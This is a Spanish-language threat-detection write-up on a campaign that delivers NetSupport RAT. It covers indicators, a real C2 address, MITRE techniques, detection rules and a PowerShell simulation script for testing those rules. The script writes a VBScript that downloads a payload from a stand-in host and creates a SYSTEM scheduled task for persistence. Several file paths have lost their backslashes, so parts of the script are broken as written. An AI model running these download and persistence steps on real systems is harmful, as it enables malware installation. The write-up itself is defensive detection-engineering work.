NetSupport RAT Entregado por un Cargador No Identificado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Se observó una herramienta de acceso remoto previamente no identificada que distribuía un paquete malicioso de NetSupport Manager RAT. El malware inicial se comunicaba con un servidor de comando y control en 89.110.110.119 a través del puerto TCP 443 usando tráfico codificado. La campaña, rastreada como SmartApeSG ClickFix, se basó en scripts maliciosos y un archivo CAB para instalar el NetSupport RAT en los sistemas victimizados.
Investigación
La investigación descubrió múltiples indicadores, incluyendo URLs maliciosas, direcciones IP y archivos escritos en el directorio ProgramData . El RAT inicial entregó un script por lotes que extraía e instalaba el NetSupport RAT desde un archivo CAB llamado setup.cab . Una vez completada la instalación, los archivos de soporte se eliminaron para reducir las huellas visibles de la actividad.
Mitigación
Las organizaciones deben bloquear el tráfico de red hacia las direcciones IP y dominios maliciosos identificados y monitorear la creación de los archivos referenciados bajo ProgramData. Las defensas de los puntos finales deben detectar la ejecución de archivos VBScript y por lotes sospechosos, mientras que el monitoreo de redes debe aplicar controles más estrictos al tráfico codificado sobre el puerto 443.
Respuesta
Los defensores deben alertar sobre los indicadores listados, aislar sistemas afectados y realizar análisis forense para descubrir cualquier mecanismo de persistencia. Los archivos maliciosos deben ser eliminados, cualquier cambio no autorizado debe ser revertido y las políticas de firewall deben actualizarse para bloquear la comunicación saliente con la infraestructura de comando y control identificada.
graph TB %% Definición de clases classDef action fill:#c2f0c2 %% Nodos node_a[«<b>Acción</b> – <b>T1204.001 Ejecución de usuario: enlace malicioso</b><br/><b>Descripción</b>: La víctima carga JavaScript malicioso desde una página comprometida.»] class node_a action node_b[«<b>Acción</b> – <b>T1027.006 Archivos ofuscados: HTML Smuggling</b><br/><b>Descripción</b>: Entrega de script codificado mediante la técnica HTML smuggling.»] class node_b action node_c[«<b>Acción</b> – <b>T1059.005 Intérprete de comandos y scripts: Visual Basic</b><br/><b>Descripción</b>: processor.vbs deja caer token.bat en el sistema.»] class node_c action node_d[«<b>Acción</b> – Ejecución de script Batch<br/><b>Resultado</b>: Extrae NetSupport RAT en el host.»] class node_d action node_e[«<b>Acción</b> – <b>T1547.014 Active Setup</b> & <b>T1546.007 Netsh Helper DLL</b><br/><b>Descripción</b>: El RAT se coloca en C:\\ProgramData\\UpdateInstaller para lograr persistencia.»] class node_e action node_f[«<b>Acción</b> – <b>T1574.007 Intercepción de ruta</b> & <b>T1574.005 Permisos débiles del instalador</b><br/><b>Descripción</b>: Escalada de privilegios mediante entradas maliciosas en PATH y permisos débiles del instalador.»] class node_f action node_g[«<b>Acción</b> – <b>T1564 Ocultar artefactos</b> & <b>T1564.010 Suplantación de argumentos de proceso</b><br/><b>Descripción</b>: Se eliminan archivos de staging y se falsifican argumentos de proceso para evadir defensas.»] class node_g action node_h[«<b>Acción</b> – <b>T1571 Puerto no estándar</b> & <b>T1071.001 Protocolos web</b><br/><b>Descripción</b>: Tráfico de comando y control sobre TCP 443 usando comunicaciones web codificadas.»] class node_h action %% Conexiones node_a –>|conduce a| node_b node_b –>|conduce a| node_c node_c –>|conduce a| node_d node_d –>|conduce a| node_e node_e –>|conduce a| node_f node_f –>|conduce a| node_g node_g –>|conduce a| node_h
Flujo de Ataque
Detecciones
LOLBAS WScript / CScript (vía process_creation)
Ver
Posible Ejecución de Binario de NetSupport Manager desde Directorio Sospechoso Intento (vía process_creation)
Ver
Comando y Control Sospechoso por Solicitud de DNS de Dominio de Nivel Superior (TLD) Inusual (vía dns)
Ver
IOCs (HashSha256) para detectar: RAT no identificado propaga NetSupport RAT
Ver
IOCs (SourceIP) para detectar: RAT no identificado propaga NetSupport RAT
Ver
IOCs (DestinationIP) para detectar: RAT no identificado propaga NetSupport RAT
Ver
Detección de Infección de NetSupport RAT a través de Archivos CAB y Script [Evento de Archivo de Windows]
Ver
Detección de Comunicación Inicial y de NetSupport RAT C2 [Conexión de Red de Windows]
Ver
Ejecución de Simulación
Prerequisito: El Verificación Previa de Telemetría y Línea de Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para desencadenar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa y Comandos de Ataque:
Un atacante que ha ganado acceso inicial en un host Windows deja caer tres artefactos maliciosos enC:ProgramData:processor.vbs– un script de Visual Basic que descarga el binario principal del RAT.token.bat– un archivo por lotes que crea una tarea programada para persistencia.setup.cab– un archivo CAB que contiene un DLL dejado enC:ProgramDatay más tarde cargado a través derundll32.exe.
El atacante después ejecuta cada archivo por turno, causando eventos de creación de procesos que contienen las rutas de archivos exactas requeridas por la regla Sigma.
-
Script de Prueba de Regresión:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # PROPÓSITO: Reproducir la telemetría de infección de NetSupport RAT # ------------------------------------------------- $targetDir = "C:ProgramData" # Asegúrese de que el directorio exista if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. Dejar processor.vbs $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. Dejar token.bat $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. Dejar setup.cab (CAB ficticio que contiene un archivo de texto) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "placehholder" # Crear un CAB – requiere makecab (herramienta incorporada de Windows) & makecab.exe "$tempDirdummy.txt" $cabPath # Fase de Ejecución – desencadenar las detecciones Write-Host "`n[+] Ejecutando processor.vbs" cscript.exe //B //Nologo $vbsPath Write-Host "[+] Ejecutando token.bat" cmd.exe /c $batPath Write-Host "[+] Ejecutando setup.cab a través de rundll32 (carga simulada)" rundll32.exe "$cabPath",DummyEntryPoint # Limpiar carpeta temporal utilizada para la creación del CAB Remove-Item -Recurse -Force $tempDir -
Comandos de Limpieza:
# netSupport_RAT_cleanup.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # Eliminar la tarea programada creada por token.bat schtasks /delete /tn "NetSupportPersist" /f Write-Host "Limpieza completa."